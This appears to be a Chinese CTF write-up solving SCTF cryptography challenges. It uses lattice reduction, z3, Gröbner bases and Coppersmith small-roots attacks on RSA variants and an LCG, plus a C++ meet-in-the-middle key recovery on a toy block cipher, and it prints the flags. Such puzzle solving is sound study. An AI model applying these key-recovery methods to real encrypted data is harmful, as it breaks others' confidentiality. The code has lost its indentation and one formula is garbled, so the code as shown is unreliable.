#e2 = 7688844608122166688554531210042890906331317367269721882913839185271394937163082744925864177779002472233203611799817777199710838582026800408107353934895515601449211254844714968565944446477081395969750472765835932266965229128856452781816269289992832230947973758915003020471524086758777628035741239238359503130190607998292797906572873297770527569698066692949759789487870533498458377873270494530630801359434977962847044065574759512179511120769361043269784870586239376868814910804487324802261815900392837165247623551114275644333697133133053782070322628235841247238848243632844856346687843129893451542644093889516093928419
#N = 10601906187740216931595985813561018154094349391814625467866276039997784519775353384474319150269738230372047308386421763681496742534415560601792743087606061049915679247822012183530512682920721493867744110943536891780424477404764918611971479616608837196312314759612406032833626939153217353695263399529371219150113614077103843371902911156062855363330555112519824288646026162760935051435028546568477902038113029695080397072016581518542586165205453807211236256185776189563790278426435009592437384840461159406810098763820921285305532960357029603792366631504440047476973500179551679652666963735985418083518134488043693919959
#a = 0.356#731./2049
#M1=N**0.5
#M2= N **(a+1)
#D = diagonal_matrix(ZZ,[N,M1,M2,1])
#M=matrix(ZZ,[[1,-N,0,N**2],[0,e1,-e1,-e1*N],[0,0,e2,-e2*N],[0,0,0,e1*e2]])*D
#L=M.LLL()
#t=vector(ZZ,L[0])
#x=t*M**(-1)
#phi = int(x[1]/x[0]*e1)
#print(phi)
#s = Solver()
#p=Int('p')
#q=Int('q')
#s.add(p*q == 10601906187740216931595985813561018154094349391814625467866276039997784519775353384474319150269738230372047308386421763681496742534415560601792743087606061049915679247822012183530512682920721493867744110943536891780424477404764918611971479616608837196312314759612406032833626939153217353695263399529371219150113614077103843371902911156062855363330555112519824288646026162760935051435028546568477902038113029695080397072016581518542586165205453807211236256185776189563790278426435009592437384840461159406810098763820921285305532960357029603792366631504440047476973500179551679652666963735985418083518134488043693919959)
#s.add((p-1)*(q-1) == 10601906187740216931595985813561018154094349391814625467866276039997784519775353384474319150269738230372047308386421763681496742534415560601792743087606061049915679247822012183530512682920721493867744110943536891780424477404764918611971479616608837196312314759612406032833626939153217353695263399529371219149907244546504287005803482157028158074361894837406690284282849804962647074137779175591115328533588303073897939953060596832041619446744193574226011368389348902367198191084032689790313003404759414296565690419913481077396162900768249534438395618483441070907431902912073411573833342021889020103616571648206308514880)
#if s.check() == sat:
# print(s.model())
def add(P, Q, mod):
x1, y1 = P
x2, y2 = Q
if x2 is None:
return P
if x1 is None:
return Q
if y1 is None and y2 is None:
x = x1 * x2 % mod
y = (x1 + x2) % mod
return (x, y)
if y1 is None and y2 is not None:
x1, y1, x2, y2 = x2, y2, x1, y1
if y2 is None:
if (y1 + x2) % mod != 0:
x = (x1 * x2 + 2) * inverse(y1 + x2, mod) % mod
y = (x1 + y1 * x2) * inverse(y1 + x2, mod) % mod
return (x, y)
elif (x1 - y1 ** 2) % mod != 0:
x = (x1 * x2 + 2) * inverse(x1 - y1 ** 2, mod) % mod
return (x, None)
else:
return (None, None)
else:
if (x1 + x2 + y1 * y2) % mod != 0:
x = (x1 * x2 + (y1 + y2) * 2) * inverse(x1 + x2 + y1 * y2, mod) % mod
y = (y1 * x2 + x1 * y2 + 2) * inverse(x1 + x2 + y1 * y2, mod) % mod
return (x, y)
elif (y1 * x2 + x1 * y2 + 2) % mod != 0:
x = (x1 * x2 + (y1 + y2) * 2) * inverse(y1 * x2 + x1 * y2 + 2, mod) % mod
return (x, None)
else:
return (None, None)
def myPower(P, a, mod):
#myPower(M, e, finitN)
target = (None, None)
t = P
while a > 0:
if a % 2:
target = add(target, t, mod)
t = add(t, t, mod)
a >>= 1
return target
q = 96462444106165749114415475247527781475899281431287939376394470369752659528725019508082117417839694214107263318483433819291390803338678461598066595218255356966679663156577567407281598226907095764472683889152435703416069908655422522652572101471012612583954177451023603485842114326384356753874451635385984216161
p = 109907086493390616985013523787169507492760993681846064986781887428535317768524351469280456086685032407075193800472550867209575915122581771387158292578171930229912424185824752394842783208794649345771724454755004504493300150933357546701398911549986363985587419816454664592991507387712041226027111204451401188919
pad = 137721017917989303482714812804521878485399750349045730614909765849483734915386664162501818685326223825286437120470811742765458919135068008802037057001305957541685605553587948107128475798135395471664645215380069682937424337247849713639490229310163392013463505444535723967494278649509979458626531074957697946993
c =(166431982461794383404765894353564652417286281286845040815812696140245010936597690881728163044999563295606777822589599719988749943986277241768406486432942976971806090294723679213709276119783333317719736480695779056909005344748713312922208943911234004090154620267867923985496066206993388826848408016113230559895319140692117846347161636934408901418900660630848238252785792937558161125236263657446105045318374541989968623804546523311550966511721989817712979188863096534909514606855128351038197938270797429538803633123512162732858973784140131107258309968348721003718514188938837464306149466871073659419970807525573186177295974780597677202177278450017235952741828648411332753623971689087414338005032425283018127420482524353019039589883070439499816602536780385008119304807415943660538320547325663679105882323899559945539040614335041356182742492246188685166079997529059728431638477119368978924088838246744082322934215253952260604000, 583811541976786499144377377934025235584387131534635007022251365145942422227051060939985851484706210836767096516219672713844985063110538384884200155176672559391335026702801538941879468724743394010709887016418730105669706000795612301487140087279830678314909581314560039721638176230206155638477025095967507768951649990761591795801514872889641096293748540210199152367695575307597602483917419532171797268649128704295643514700599003974515092476985280147122085743107678260804403848731411523152508976557299100005180707794868709825610527244045712157278351329970986028569553983677992653806577740248777743401724460474149400544970284499843498104577389527968551869656641095498167438798405641085540418812727789234175230571563718616654865504708574325812468631975439864831103170397966449939536937839005435391565163846769907939906973391750780003117155026788680288079657919663977842795793378060965920997621456965471449613549935486637988132751)
pad =117974859274346072583739577879237661359633939326177996925545772649078598610987301667759912933925662285927802009264196767594856451275711699740105534472053429854738915648249617679338619108159296653886787677835343872851980353011790571950727888130983528711607533379553800325336063577707548506215714783818842480239
e1 = 2816364923215542703181103700546313680109699436794123566226755921623782970809742716991858902522746028156003630828900076158585411663702115647361928930336417992964232866389633747914430575706682691181456229019202935906062908587609722493361057620793975135051750614902337992567625486243873224234033256269675850528518211544253411469959902538438091955199793022342556708413965433779350671626129791137318004869160747756926534289668211426638719794731091512998036558584096298208598924494265349419704363061401758956080768587013310392993665629098212668360357545504145264857268152702858316846654320106999264941629532500605382044391
e = 7688844608122166688554531210042890906331317367269721882913839185271394937163082744925864177779002472233203611799817777199710838582026800408107353934895515601449211254844714968565944446477081395969750472765835932266965229128856452781816269289992832230947973758915003020471524086758777628035741239238359503130190607998292797906572873297770527569698066692949759789487870533498458377873270494530630801359434977962847044065574759512179511120769361043269784870586239376868814910804487324802261815900392837165247623551114275644333697133133053782070322628235841247238848243632844856346687843129893451542644093889516093928419
d = inverse(e, ((p**3)-1)*((q**3)-1)*((pad**3)-1))
print(d)
#print((p-1)*(q-1)*(pad-1))
n = p*q*pad
M = myPower(c,d,n)
print(M)
print(long_to_bytes(M[0]))
print(long_to_bytes(M[1]))
#SCTF{@@##Say_say_it_again_Sometimes_the_RSA_was_winding_in_my_mind@@##}
### christmasZone
通过Gröbner Basis进行lcg系数的求解
p= 12827136631950660209216359962655539318636877290716821157529934201187219916291097512646340799814928196320503957951369709433553128222068986394496491383172957
vs= [(1, 41380349828344668841722013593988154321093099094259357736377736864534670060706791545109606752287504685771188039864996559723310519654574206262666374726529575), (2, 384991383452695588666216941014720946683784460631264884797727791455132234632438790091275812930469701960771509347594917989067900680524277581738313254612711871), (3, 2324819542625170348844359780621276807555503871252850096339863557086701529895982915686058495680950841284900600209950521822433876540926171344905286018406959743), (4, 9038337376811138597523510592313164861722600343233504981317555262132010358260176119807566000121093361554267202529233467631393363767071867844509978588374760233)]
Fp = GF(p)
P.<a, b, x_1> = PolynomialRing(Fp)
f = []
for X, y in vs:
f.append(
x_1+(a*x_1+b)*X+(a^2*x_1+a*b+b)*X^2+(a^3*x_1+a^2*b+a*b+b)*X^3+(a^4*x_1+a^3*b+a^2*b+a*b+b)*X^4+(a^5*x_1+a^4*b+a^3*b+a^2*b+a*b+b)*X^5-y)
f = ideal(f)
B = f.groebner_basis()
print(B)
print(-B[0])
再根据gift值，以及生成的特殊phi值构造二元copper
f(x,y) = x _(y**2+a_ y+b)+1 (x = k,y = p+q)
微调参数分解n值，得到p q
import itertools
def small_roots(f, bounds, m=1, d=None):
if not d:
d = f.degree()
R = f.base_ring()
N = R.cardinality()
f /= f.coefficients().pop(0)
f = f.change_ring(ZZ)
G = Sequence([], f.parent())
for i in range(m+1):
base = N^(m-i) * f^i
for shifts in itertools.product(range(d), repeat=f.nvariables()):
g = base * prod(map(power, f.variables(), shifts))
G.append(g)
B, monomials = G.coefficient_matrix()
monomials = vector(monomials)
factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
B.rescale_col(i, factor)
B = B.dense_matrix().LLL()
B = B.change_ring(QQ)
for i, factor in enumerate(factors):
B.rescale_col(i, 1/factor)
H = Sequence([], f.parent().change_ring(QQ))
for h in filter(None, B*monomials):
H.append(h)
I = H.ideal()
if I.dimension() == -1:
H.pop()
elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
root = tuple(R(root[var]) for var in f.variables())
roots.append(root)
return roots
return []
e = 2122057207992053205813770227849040233008910764365408170807753866052370273036652511326089337097360978735074872616654616913246201310148862001548717525315340025551386286859760434183016041810428435636703565295076056164899655565064479034568939414539781862057507880933035055798925469493379171063624396109774778347319852379080566673380010455470481679145108944783447900704049011034802113265281840271722439782048757303053321402550218515376334799866137565004833177407151305907248656027100625115285653505268015889011758846754314363803434935375750532978323034293333866829909394024977100845590141939498841156488858312084500963993
n = 64392795853847475796939596948374573513341136006013188358665448316305707477998438325517993586430100318003625505157712138814030987620038360820900112359350226402638642419396935215229157012026467896203963294845355310085476165076942465877433408205263068546705226319393063008332679430070032638523530045872344446063
PR.<x,y> = PolynomialRing(Zmod(e))
b = n**2-n+1
a = n+1
f = x*(y**2+a*y+b)+1
bounds = (2^400,2^513)
solves = small_roots(f, bounds, m=3,d=4)
print(solves)
from z3 import *
s = Solver()
p=Int('p')
q=Int('q')
s.add(p+q == 16075043011792317702314886102947415867389005788775646985921769735667763497545302824191943535380623937133010105678608525588010746665008631519574789537497184)
s.add(p*q == 64392795853847475796939596948374573513341136006013188358665448316305707477998438325517993586430100318003625505157712138814030987620038360820900112359350226402638642419396935215229157012026467896203963294845355310085476165076942465877433408205263068546705226319393063008332679430070032638523530045872344446063)
if s.check() == sat:
print(s.model())
根据复数群阶为p^2-1，进行(m1,m2)坐标的计算
from Crypto.Util.number import *
def PowPlus(msg,k):
c=Complex(msg[0],msg[1])
while k>0:
if k%2:
k-=1
c.OnePlus()
else:
k//=2
c.Double()
return c.val()
class Complex:
baseRe = 1
baseIm = 0
p= 7580404339410605275626408632293985390119410811758716323067754026905773097627216054700243523685903084284434158078654472410013702925363551739091210471600391
q= 8494638672381712426688477470653430477269594977016930662854015708761990399918086769491700011694720852848575947599954053177997043739645079780483579065896793
n = p*q
#print(n)
def __init__(self, re=0, im=0):
self.re = re
self.im = im
def OnePlus(self):
_re = (self.re*Complex.baseRe - self.im*Complex.baseIm)%Complex.n
_im = (self.re*Complex.baseIm + self.im*Complex.baseRe)%Complex.n
Complex.baseRe = _re
Complex.baseIm = _im
def Double(self):
_re = (self.re*self.re - self.im*self.im)%Complex.n
_im = (self.re*self.im + self.im*self.re)%Complex.n
self.re = _re
self.im = _im
def val(self):
return Complex.baseRe,Complex.baseIm,Complex.n
c = (19398712966389173067515660342342371376171822855077792430320907920482468319034356508473830699130119726502328267606091971072624658237697431558761718296916369668202230512807622341524837789641448767802361925545348467904711602267688826344269930586157457184165009996779745720616560780946563277776544719243932403743,
13560918884675796397422230974896753903564514060544004622609605573166124357809803049342207856908237157989458174631058128913271365699175849042916944962684319362603309646697695167167430136068004838289739138033112696576679443996914506782400912475705559889360576361738784125657707992917972167925405463413645788482)
n=64392795853847475796939596948374573513341136006013188358665448316305707477998438325517993586430100318003625505157712138814030987620038360820900112359350226402638642419396935215229157012026467896203963294845355310085476165076942465877433408205263068546705226319393063008332679430070032638523530045872344446063
gift=2122057207992053205813770227849040233008910764365408170807753866052370273036652511326089337097360978735074872616654616913246201310148862001548717525315340025551386286859760434183016041810428435636703565295076056164899655565064479034568939414539781862057507880933035055798925469493379171063624396109774778347319852379080566673380010455470481679145108944783447900704049011034802113265281840271722439782048757303053321402550218515376334799866137565004833177407151305907248656027100625115285653505268015889011758846754314363803434935375750532978323034293333866829909394024977100845590141939498841156488858312084500963993
q = 7580404339410605275626408632293985390119410811758716323067754026905773097627216054700243523685903084284434158078654472410013702925363551739091210471600391
p = 8494638672381712426688477470653430477269594977016930662854015708761990399918086769491700011694720852848575947599954053177997043739645079780483579065896793
e = 65537
d = inverse(e,((p**2-1)*(q**2-1)))
m = PowPlus(c,d)
print(m)
最后带回到lcg的最终函数中，进行求根操作
from Crypto.Util.number import *
p= 12827136631950660209216359962655539318636877290716821157529934201187219916291097512646340799814928196320503957951369709433553128222068986394496491383172957
Fp = GF(p)
P.<x> = PolynomialRing(Fp)
f = 11107539725989784588516877085136635908441115815151777097583290968795799306769460994508287779871429800738567516424098853986080960831813283913437018239025437+6034160863709066159778637899413973476966589977510559161150723567270894349213718484715685277168177740978230265501194740744557053261099813264349946684623551*x+11808887268447615257558026664894363806999904142221396040940006609671437127001478734524740326597666486964008913813253292274982099443656137651300834404341881*(x^2)+408075133608148131249456572820748106237284025037403147065865246531192645806945237995787775219190720718153273784347803717882930185025920239290910304167402*(x^3)+4586162932140607804368341437906558310926893012932245826928444385726983454281600231400780493854722062464754924769164109577757840996243554965034972504134321*(x^4)+7435523904449446900250673933815874711521312121405976462709406086538363177633587861964325099576317873907473145572937759422049634936735496229252692590236983*(x^5)-350564116714246428053802172070389474233820454679751477780333001945330301565284220095378516478556445046920811976843797532587184369824085245405082799485151297628128033782611724987963819163245257329754695802584996154786305817413634573781285885239952095626683987775731171250077614548234305028236410536510063272314122315196083472829068485752967550562846302833889516005729928622362083333892583681788035557019567883417091108619687009927945069447260541066489511357746392173728172212543
m = f.roots()[0][0]
long_to_bytes(m)
#SCTF{all1Want4ChristmasisU}
### ciruit map
下载附件到处看看，发现是个DES，再看看秘钥空间2^24，还有两次加密，但是有个加密0的，
跑中间相遇攻击
#include<iostream>
#include<unordered_map>
#include<vector>
using namespace std;
unsigned int SBoxes[6][16] = {
{15, 1, 7, 0, 9, 6, 2, 14, 11, 8, 5, 3, 12, 13, 4, 10},
{3, 7, 8, 9, 11, 0, 15, 13, 4, 1, 10, 2, 14, 6, 12, 5},
{4, 12, 9, 8, 5, 13, 11, 7, 6, 3, 10, 14, 15, 1, 2, 0},
{2, 4, 10, 5, 7, 13, 1, 15, 0, 11, 3, 12, 14, 9, 8, 6},
{3, 8, 0, 2, 13, 14, 5, 11, 9, 1, 7, 12, 4, 6, 10, 15},
{14, 12, 7, 0, 11, 4, 13, 15, 10, 3, 8, 9, 2, 6, 1, 5}};
unsigned int SInvBoxes[6][16] = {
{3, 1, 6, 11, 14, 10, 5, 2, 9, 4, 15, 8, 12, 13, 7, 0},
{5, 9, 11, 0, 8, 15, 13, 1, 2, 3, 10, 4, 14, 7, 12, 6},
{15, 13, 14, 9, 0, 4, 8, 7, 3, 2, 10, 6, 1, 5, 11, 12},
{8, 6, 0, 10, 1, 3, 15, 4, 14, 13, 2, 9, 11, 5, 12, 7},
{2, 9, 3, 0, 12, 6, 13, 10, 1, 8, 14, 7, 11, 4, 5, 15},
{3, 14, 12, 9, 5, 15, 13, 2, 10, 11, 8, 4, 1, 6, 0, 7}};
unsigned int PBox[] = {15, 22, 11, 20, 16, 8, 2, 3, 14, 19, 18, 1, 12, 4, 9, 13, 23, 21, 10, 17, 0, 5, 6, 7};
unsigned int PInvBox[] = {20, 11, 6, 7, 13, 21, 22, 23, 5, 14, 18, 2, 12, 15, 8, 0, 4, 19, 10, 9, 3, 17, 1, 16};
unordered_map<unsigned int, unsigned int> middle_data;
unsigned int S(unsigned int block, unsigned int SBoxes[6][16]){
unsigned int output = 0;
for(int i = 0; i < 6; i++){
output |= SBoxes[i][(block >> 4 * i) & 0b1111] << 4 * i;
}
return output;
}
unsigned int permute(unsigned int block, unsigned int pbox[]){
unsigned int output = 0;
unsigned int bit = 0;
for(int i = 0; i < 24; i++){
bit = (block >> pbox[i]) & 1;
output |= (bit << i);
}
return output;
}
unsigned int encrypt_data(unsigned int block, unsigned int key){
unsigned int res = block;
for(int i = 0; i < 3; i++){
res ^= key;
res = S(res, SBoxes);
res = permute(res,PBox);
}
res ^= key;
return res;
}
unsigned int decrypt_data(unsigned int block, unsigned int key){
unsigned int res = block;
res ^= key;
for(int i = 0; i < 3; i++){
res = permute(res, PInvBox);
res = S(res, SInvBoxes);
res ^= key;
}
return res;
}
unsigned int encrypt(unsigned int block, unsigned int key1, unsigned int key2){
unsigned int res = block;
res = encrypt_data(res, key1);
res = encrypt_data(res, key2);
return res;
}
unsigned int decrypt(unsigned int block, unsigned int key1, unsigned int key2){
unsigned int res = block;
res = decrypt_data(res, key2);
res = decrypt_data(res, key1);
return res;
}
void init_middle_data(){
cout << "Init middle data" << endl;
unsigned int enc = 0;
for(unsigned int i = 0; i < 0x1000000; i++){
enc = encrypt_data(0,i);
if(middle_data.find(enc) == middle_data.end()){
middle_data.insert(pair<unsigned int, unsigned int>(enc,i));
}
else{
unsigned int count = 0;
unsigned int tmp = 0;
do{
count++;
tmp = count << 24 | enc;
}while(middle_data.find(tmp) != middle_data.end());
middle_data.insert(pair<unsigned int, unsigned int>(tmp,i));
}
}
}
unordered_map<unsigned int, unsigned int> find_possible_key(unsigned int t){
cout << "Find possible keys for " << t << endl;
unordered_map<unsigned int, unsigned int> result;
unsigned int dec = 0;
for(unsigned int i = 0; i < 0x1000000; i++){
unsigned int dec_count = 0;
dec = decrypt_data(t,i);
unsigned int dec_tmp = dec;
while(middle_data.find(dec) != middle_data.end()){
unsigned int key = i;
if(result.find(key) == result.end()){
result.insert(pair<unsigned int, unsigned int>(key,middle_data[dec]));
}
else{
unsigned int count = 0;
unsigned int tmp;
do{
count++;
tmp = count << 24 | key;
}while(result.find(tmp) != result.end());
result.insert(pair<unsigned int, unsigned int>(tmp,middle_data[dec]));
}
dec_count++;
dec = dec_count << 24 | dec_tmp;
}
}
return result;
}
unsigned int recover_key_part2(vector< unordered_map<unsigned int, unsigned int> > possible_keys,vector<unsigned int>enc_labels,unsigned int a0,unsigned int b0,int idxi,int idxj){
unordered_map<unsigned int, unsigned int> choice_keys;
unsigned int c, c1, b1, a00;
for(int i = 0; i < 4; i++){
if(i == idxi || i == idxj) continue;
choice_keys = possible_keys[i];
c = enc_labels[i];
c1 = enc_labels[idxi];
for(auto iter = choice_keys.begin(); iter != choice_keys.end(); ++iter){
b1 = iter->first;
if(b1 > 0x1000000) continue;
unsigned int dec_b1 = b1;
unsigned int count = 0;
while(choice_keys.find(b1) != choice_keys.end()){
a00 = choice_keys[b1];
if(a0 == a00 && decrypt(c,a0,dec_b1) == decrypt(c1,a0,b0)){
return dec_b1;
}
count++;
b1 = count << 24 | dec_b1;
}
}
}
return 0;
}
bool recover_key(vector< unordered_map<unsigned int, unsigned int> > possible_keys,vector<unsigned int>enc_labels){
unordered_map<unsigned int, unsigned int> choice_keys, choice_keys2;
unsigned int c1, b0, a0, p1, c2, a1, b1;
for(int i = 0; i < 4; i++){
cout << "Recover key " << i << endl;
choice_keys = possible_keys[i];
c1 = enc_labels[i];
for(int j = 0; j < 4; j++){
if(i == j) continue;
choice_keys2 = possible_keys[j];
c2 = enc_labels[j];
for(auto iter = choice_keys.begin(); iter != choice_keys.end(); ++iter){
b0 = iter->first;
if(b0 >= 0x1000000) continue;
unsigned int count = 0;
unsigned int dec_b0 = b0;
while(choice_keys.find(b0) != choice_keys.end()){
a0 = choice_keys[b0];
p1 = decrypt(c1, a0, dec_b0);
unsigned int b0_tmp = dec_b0;
unsigned int count_tmp = 0;
while(choice_keys2.find(b0_tmp) != choice_keys2.end()){
a1 = choice_keys2[b0_tmp];
if(p1 == decrypt(c2,a1,dec_b0)){
b1 = recover_key_part2(possible_keys,enc_labels,a0,dec_b0,i,j);
if(b1 != 0){
cout << "Find keys : a1 = " << a1 << ", b1 = " << b1 << endl;
cout << "a0 = " << a0 << ", b0 = " << dec_b0 << endl;
return true;
}
}
count_tmp++;
b0_tmp = count_tmp << 24 | dec_b0;
}
count++;
b0 = count << 24 | dec_b0;
}
}
}
}
return false;
}
unsigned int g_tables[2][4][2] = {
{
{13303835, 2123830},
{2801785, 11303723},
{13499998, 248615},
{13892520, 7462011}},
{
{3244202, 918053},
{3277177, 6281266},
{1016382, 7097624},
{10016472, 13600867}}};
int main(){
init_middle_data();
for(int i = 0; i < 2; i++){
vector< unordered_map<unsigned int, unsigned int> > possible_keys(4);
vector<unsigned int>enc_labels(4);
for(int j = 0; j < 4; j++){
possible_keys[j] = find_possible_key(g_tables[i][j][1]);
enc_labels[j] = g_tables[i][j][0];
}
recover_key(possible_keys,enc_labels);
}
}
cpp求解key的1 2 3 4，然后py脚本计算flag
from block_cipher import decrypt_data, encrypt_data
from tqdm import tqdm
import hashlib
from Crypto.Util.number import *
key = [
[13675268, 8343801],
[12870274, 10251687],
[12490757, 6827786],
[3391233, 2096572],
[], # 1, 2
[], # 3, 4
[], # 5, 6
[] # 7, 4
]
data1 = [(13303835, 2123830),
(2801785, 11303723),
(13499998, 248615),
(13892520, 7462011)]
data2 = [(3244202, 918053),
(3277177, 6281266),
(1016382, 7097624),
(10016472, 13600867)]
data3 = [(5944875, 3442862),
(7358369, 8423543),
(6495696, 9927178),
(13271900, 11855272)]
data4 = [(5333988, 87113),
(9375869, 11687470),
(5011062, 14981756),
(2509493, 12330305)]
def get_and_key(data, key):
res = [0, 0]
for i in data:
if decrypt_data(decrypt_data(i[1], key[1][0]), key[0][0]) == 0:
res[0] = decrypt_data(decrypt_data(i[0], key[1][0]), key[0][0])
if decrypt_data(decrypt_data(i[1], key[1][0]), key[0][1]) == 0:
res[1] = decrypt_data(decrypt_data(i[0], key[1][0]), key[0][1])
if decrypt_data(decrypt_data(i[1], key[1][1]), key[0][0]) == 0:
res[1] = decrypt_data(decrypt_data(i[0], key[1][1]), key[0][0])
if decrypt_data(decrypt_data(i[1], key[1][1]), key[0][1]) == 0:
res[1] = decrypt_data(decrypt_data(i[0], key[1][1]), key[0][1])
return res
def get_xor_key(data, key):
res = [0, 0]
for i in data:
if decrypt_data(decrypt_data(i[1], key[1][0]), key[0][0]) == 0:
res[1] = decrypt_data(decrypt_data(i[0], key[1][0]), key[0][0])
if decrypt_data(decrypt_data(i[1], key[1][0]), key[0][1]) == 0:
res[0] = decrypt_data(decrypt_data(i[0], key[1][0]), key[0][1])
if decrypt_data(decrypt_data(i[1], key[1][1]), key[0][0]) == 0:
res[0] = decrypt_data(decrypt_data(i[0], key[1][1]), key[0][0])
if decrypt_data(decrypt_data(i[1], key[1][1]), key[0][1]) == 0:
res[1] = decrypt_data(decrypt_data(i[0], key[1][1]), key[0][1])
return res
key[4] = get_and_key(data1, [key[0], key[1]])
key[5] = get_and_key(data2, [key[2], key[3]])
key[6] = get_and_key(data3, [key[4], key[5]])
key[7] = get_xor_key(data4, [key[6], key[3]])
def xor(A, B):
return bytes(a ^ b for a, b in zip(A, B))
the_chaos=b''
for i in key:
tmp = sum(i)
the_chaos += bytes(long_to_bytes(tmp))
mask = hashlib.md5(the_chaos).digest()
data = long_to_bytes(0x1661fe85c7b01b3db1d432ad3c5ac83a)
print(xor(mask, data)) | 社区文章 |
Subsets and Splits